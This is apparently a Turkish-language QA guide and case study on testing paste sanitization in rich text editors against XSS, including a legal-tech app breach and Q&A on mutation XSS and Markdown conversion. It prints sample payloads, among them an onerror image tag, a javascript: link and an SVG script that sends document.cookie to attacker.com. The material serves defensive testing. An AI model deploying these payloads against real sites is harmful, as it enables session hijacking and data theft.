Tarihçe: Zengin metin düzenleyicileri (RTE'ler) içerik yönetim sistemlerinde yaygındır, ancak kritik bir saldırı yüzeyini temsil eder. Kullanıcılar Microsoft Word veya Google Docs'tan içerik kopyaladığında, panoya zengin HTML iletilir; bunun içinde özel meta veriler, satır içi stiller ve potansiyel olarak kötü amaçlı yükler SVG etiketleri veya CSS ifadeleri içinde gizlenmiş olabilir. Temel sorun, naif sanitizasyonun görünür biçimlendirmeyi yok edebileceği ancak çalıştırılabilir betikleri kaçırabileceği, ya da aksi durumda, aşırı sanitizasyon ile karmaşık tablolar gibi meşru yapısal öğeleri yok edebileceğidir. Sistematik bir manuel test metodolojisi, hem güvenliği (hiç XSS olmamalı) hem de sadakati (korunan yapı) doğrulamalıdır.
Çözüm: Üç aşamalı pano saldırı protokolü uygulayın:
Vektör Hazırlığı: İçinde betikler bulunan gömülü <foreignObject> içeren SVG'lerle, eski IE için CSS behavior: url(#default#VML), kötü niyetli HTML varlık kodlu javascript: protokolleri ve tarayıcı ayrıştırma anormalliklerini istismar etmek için tasarlanmış hatalı HTML5 etiketleri içeren yapıştırma yükleri kütüphanesi oluşturun (örn. <noscript><img src=x onerror=alert(1)></noscript>).
Çapraz Motor Yapıştırma Simülasyonu: Gerçek kopyala-yapıştır işlemleri (yazma değil) yapın; Word'den (izleme değişiklikleri, yorumlar ve gömülü Excel nesneleri ile), Google Docs'tan (önerilen düzenlemeler ve gömülü çizimler ile) ve tarayıcı geliştirme araçlarından kopyalanan ham HTML'den. Her birinin pano MIME türlerini (text/html vs application/rtf) farklı işlediğinden dolayı, Chrome, Safari, Firefox ve Edge'de ayrı ayrı test edin.
Durum Doğrulaması: Yapıştırma işlemi sonrası, on* olay işleyicilerinin, javascript: URL'lerinin ve <script> etiketlerinin bulunmadığını doğrulamak için DevTools aracılığıyla DOM'u inceleyin; aynı zamanda, anlamsal öğelerin (<thead>, <colgroup>, iç içe liste) sağlam kaldığını doğrulayın. Ardından içeriği kaydedin, sayfayı yeniden yükleyin ve HTML'nin serileştirilmiş halini tekrar kontrol edin,/bakın böylece tarayıcı ayrıştırıcısının yeniden oluşturduğu mutasyon XSS'yi tespit edin.
Sorun: Bir hukuk teknoloji başlangıcı, avukatların Microsoft Word'den alıntı yaptıkları bir sözleşme inceleme uygulaması geliştirdi. Bir güvenlik denetimi, tedarikçi logolarını ( SVG formatında) içeren sözleşmelerin, inceleme panelinde göründüğünde keyfi JavaScript çalıştırdığını ortaya çıkardı. SVG dosyaları <foreignObject> etiketleri içinde <script>fetch('https://attacker.com?cookie='+document.cookie)</script> içeriyordu. Editör bunları zararsız görüntüler olarak gösteriyordu, ancak PostgreSQL veritabanında kaydedilen ham HTML okunamayan görünümde çalışıyordu; bu, dangerouslySetInnerHTML kullanıyordu React içinde ikincil sanitizasyon olmadan.
Düşünülen çözümler:
Çözüm A: Tüm HTML'yi temizleyin ve düz metne dönüştürün. Artılar: Kesin güvenlik garantisi; hiç XSS mümkün değil. Eksiler: Avukatlar, sözleşme alt maddeleri için girintiler, risk değerlendirmesi için renkli vurgular ve ücret tarifeleri için tablo yapıları gibi kritik biçimlendirmeleri kaybettiler. Bu, uygulamanın hukuk iş akışları için kullanılamaz hale gelmesine yol açtı ve hemen kullanıcı reddine neden oldu.
Çözüm B: Sadece istemci tarafında DOMPurify'e güvenin; izin verici bir yapılandırma ile. Artılar: Kullanıcı deneyimi ve biçimlendirmeyi korur; uygulanması kolay. Eksiler: İstemci tarafında sanitizasyon, kötü niyetli yüklerle doğrudan REST API'yi arayarak tamamen atlatılabilir. Ayrıca, DOMPurify'nin varsayılan ayarları, belirli Android WebView sürümlerinde çalışan SVG etiketleri ve veri özniteliklerine izin verebilir.
Çözüm C: Hızlı geri bildirim için agresif istemci tarafında temizleme ile derin savunma uygulayın, ardından katı bir politika ile OWASP Java HTML Sanitizer kullanan sunucu tarafında sanitizasyon ekleyin, yalnızca yapısal etiketlere izin verin. Artılar: API düzeyinde atlatma girişimlerini yakalar; gerekli hukuki biçimlendirmeleri korurken betikleri etkisiz hale getirir.Eksiler: İki politika yapılandırmasının (ön uç ve arka uç) sürdürülmesini gerektirir; 100+ sayfalık sözleşmeleri işlerken performans düşüşü riski; politikaların çelişmesi durumunda "onay diyalogları" potansiyeli.
Seçilen çözüm: Çözüm C'yi seçtik ve yapıştırma işlemleri için özel bir manuel QA kontrol noktası ekledik. QA ekibi, SVG animasyonları ve MathML konteynerlerini içeren 75+ CSP atlatma vektöründen oluşan "Kötü Amaçlı Pano Takımı" oluşturdu. DOMPurify'nin ALLOWED_URI_REGEXP'sinin HTML varlık kodlarıyla kodlanmış javascript: URL'lerine izin verdiğini keşfettiler. Sanitizer'i, tüm SVG'yi statik <img> etiketlerine Base64 kodlaması ile düzleştirecek ve tüm etkileşimli öğeleri temizlemesi için yapılandırdılar.
Sonuç: Açık, üretim sürümünden önce yamanmıştı. Metodoloji, Safari'nin okuma modunda, yürütülebilir betiklere dönüşen iki ek mXSS vektörünü yakaladı. Hukuki ekip, tam biçimlendirme yeteneklerini korudu ve sonraki saldırı testleri, yapıştırma hattında hiçbir enjeksiyon vektörü bulamadı.
Tarayıcının ayrıştırıcısının sanitizasyon dizisini değiştirdiği mutasyon XSS (mXSS)'yi nasıl tespit edersiniz?
Birçok aday, yapıştırmadan hemen sonra düzenleyicinin "kaynak görünümü" veya DevTools kullanarak HTML'yi inceler. Ancak, mXSS istismarları, sanitizasyon dizisinin innerHTML'e atanması, tarayıcının bunu ayrıştırması ve sonuç olarak DOM'un orijinal dize ile farklı olması nedeniyle oluşur, çünkü ayrıştırma normalleştirmesi gerektirir (örn. <noscript><img title="--><script>... mutasyonları). Doğru yaklaşım, bir çift yönlü test yapmaktır: girişten sonra element.innerHTML kullanarak DOM'u bir dizeye serileştirip, ardından beklenen sanitizasyon çıktısı ile karşılaştırın. Bu serileştirmeden sonra yeni <script> etiketleri veya olay işleyicileri görünüyorsa, sanitizer savunmasızdır. Ek olarak, destekleniyorsa özellikle IE11'de test yapın, çünkü hatalı tablolar için ayrıştırıcı davranışı Blink veya Gecko'dan önemli ölçüde farklıdır.
İçerik düzenleyicide düzgün bir şekilde yapıştırılabilir ve güvenli bir şekilde geçebilir, ancak daha sonra dangerouslySetInnerHTML aracılığıyla aynı içerik görüntüden okunduğunda neden güvenlik doğrulamasını geçemez?
Adaylar çoğu zaman "bağlamsal sanitizasyon kayması"nı kaçırır. Zengin metin düzenleyicileri, düzenleme bağlamı için sanitizasyon yapar, ancak görüntüleme bağlamı farklı React sürümleri, İçerik Güvenliği Politikası başlıkları veya içerikleri yeniden parsellemek için ek JavaScript kütüphaneleri kullanabilir. Cevap, depolanan içeriği tüm yaşam döngüsü boyunca doğrulamanız gerektiğidir: yapıştırma → API'ye kaydetme → API'den alma → salt okunur görünümde render. Özel olarak kontrol edin, veritabanında saklama sırasında <'nın &lt; haline geldiği veya düzenleyicinin UTF-8 işlemesi ile veritabanının karşılaştırması arasındaki Unicode normalizasyon farklılıkları. Akıllı tırnaklar (kıvrık tırnaklar) ve em tireler içeren yükleri, Word otomatik olarak değiştirdiğinden, sağlamaya dikkat edin ki veritabanı UTF-8MB4 yapılandırması çok baytlı karakterlerin kesilmesine neden olmaz; bu da sanitizasyon sınırlarını kırarak betik enjeksiyonuna olanak tanır.
Uygulama esas olarak bir Markdown tabanlı düzenleyici (örneğin, CKEditor 5 ile birlikte Markdown çıktısı) kullandığında sanitizasyon davranışını manuel olarak nasıl doğrularsınız?
Bu, biçim dönüşüm risklerini anlama testidir. Düzenleyiciler HTML'yi Markdown'a dönüştürdüğünde (örn. Turndown aracılığıyla), kötü niyetli yükler, Markdown'da karşılığı olmayan HTML özniteliklerinde gizlenebilir, bu da eksik bir şekilde temizlenmesine veya tıklama ile çalışan bağlantı referanslarına dönüştürülmesine neden olabilir. Doğru metodoloji şunları içerir: (1) Kötü niyetli HTML'yi düzenleyiciye yapıştırmak, (2) tehlikeli özniteliklerin gittiğini doğrulamak için Markdown kaynak görünümüne geçmek (sadece görsel olarak gizlenmemelidir), (3) geri dönüştürmek (destekleniyorsa) > HTML'ye, böylece çift yönlü dönüşüm yaparak betikleri tekrar canlandırmamış olursunuz, ve (4) Markdown bağlantı sözdiziminin [text](javascript:alert(1)) parser'ın bağlantı doğrulama regex'i tarafından açıkça engellenip engellenmediğini kontrol etmek, yalnızca renderer değil. Ayrıca, Markdown ayrıştırıcılarını kırabilecek HTML yorumlarının <!-- --> temizlendiğinden emin olun, böylece hassas sunucu tarafı verileri sızmasın.